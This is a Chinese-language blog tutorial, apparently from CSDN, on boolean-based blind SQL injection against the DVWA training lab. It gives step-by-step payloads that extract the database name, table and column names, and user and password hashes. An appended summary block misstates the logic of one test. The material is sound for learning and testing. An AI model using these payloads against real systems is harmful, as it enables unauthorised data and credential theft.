DVWA之SQL(盲注)

 SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。


详细步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据


盲注中常用的几个函数:

  • substr()
  • count()
  • ascii()
  • length()
  • left()
  • char_length()

基于布尔盲注

1.判断是否存在注入,注入类型

输入  1, 输出 exists

输入  1' or 1=1 # ,输出 exists

输入  '1 or 1=1

存在字符型的盲注。

2.猜数据库名

如果按照SQL 注入的方式 执行:1' union select 1,database() #

并不能返回数据库名,先猜库名长度:
1' and length(database())=1 # ,显示不存在

直到 1' and length(database())=4 # , 显示存在。

说明库名长度为4

然后采用二分法猜数据库的名字:

  1.  输入1' and ascii(substr(database(),1,1))>88 #,显示存在,说明数据库名的第一个字符的ascii值大于88;


   2. 输入1' and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

重复上面的第一、第二步骤,直到猜到准确的数为止。我们通过试验知道了,这里第一个ASCII值为100,ASCII的表去找对应的字母,接下来按照第一、第二步骤继续第二个字母:

3.输入1' and ascii(substr(database(),2,1))>88 #

去找第二个字母 ,重复以上步骤,得到库名为dvwa

3.猜解数据库中的表名

  1.  先猜表的个数  1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,输出MISSING 不存在


    2.接着   1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,输出MISSING 不存在


   3. 接着输入  1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # ,输出exists 存在

所以有两个表,我们先猜第一个表的长度

1.    输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

2.    使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists

 3.   直到—— 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists。

即第一个表名称字符长为9。

现在猜第一个表的第一个字母

 1.  输入: 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #  ,输出 exists


 2.   直到  1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

然后我们再去猜其他的9个字母,为u、e、s、t、b、o、o、k,即为guestbook。

以及去猜第二个表

1.    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

重复上面第一个表的步骤,得到第二个表为,users

4.猜列名

以  users 表 为例:

1.    先猜表中的字段数目:1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #

(中间步骤省略了) 这里看出字段数目为  8

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…
所以说我们的命令就可以是

1. 输入: 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists

2. 输入: 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists

所以我们可以知道 users表中有 user和password。还可以试试别的

5.猜表中的字段值

同样使用二分法来做,直接写最后一步了:

1.    用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists;说明user字段中第1个字段值的字符长度=5。

2.    密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,输出exists;说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

   1.  1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)


   2.  1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)

猜解password字段的值:(密码)

 1.   1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

.......................................


靶场SQL盲注是指在DVWA(Damn Vulnerable Web Application)这个靶场中进行的SQL注入攻击。靶场中有一个名为dvwa数据库,我们可以通过一系列的注入语句来探测这个数据库中的表的数量和表名的长度。 首先,通过布尔盲注的方式,我们可以使用一些条件语句来判断表的数量。比如,我们可以使用以下语句来判断表的数量是否为1: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# ``` 如果返回结果为真,则说明表的数量为1。同样地,我们可以使用以下语句来判断表的数量是否大于2: ```sql 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2# ``` 如果返回结果为假,则说明表的数量大于2。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA——SQL盲注(全等级)](https://blog.csdn.net/qq_45833260/article/details/125762606)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWAsql注入——盲注](https://blog.csdn.net/Williamanddog/article/details/128404430)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值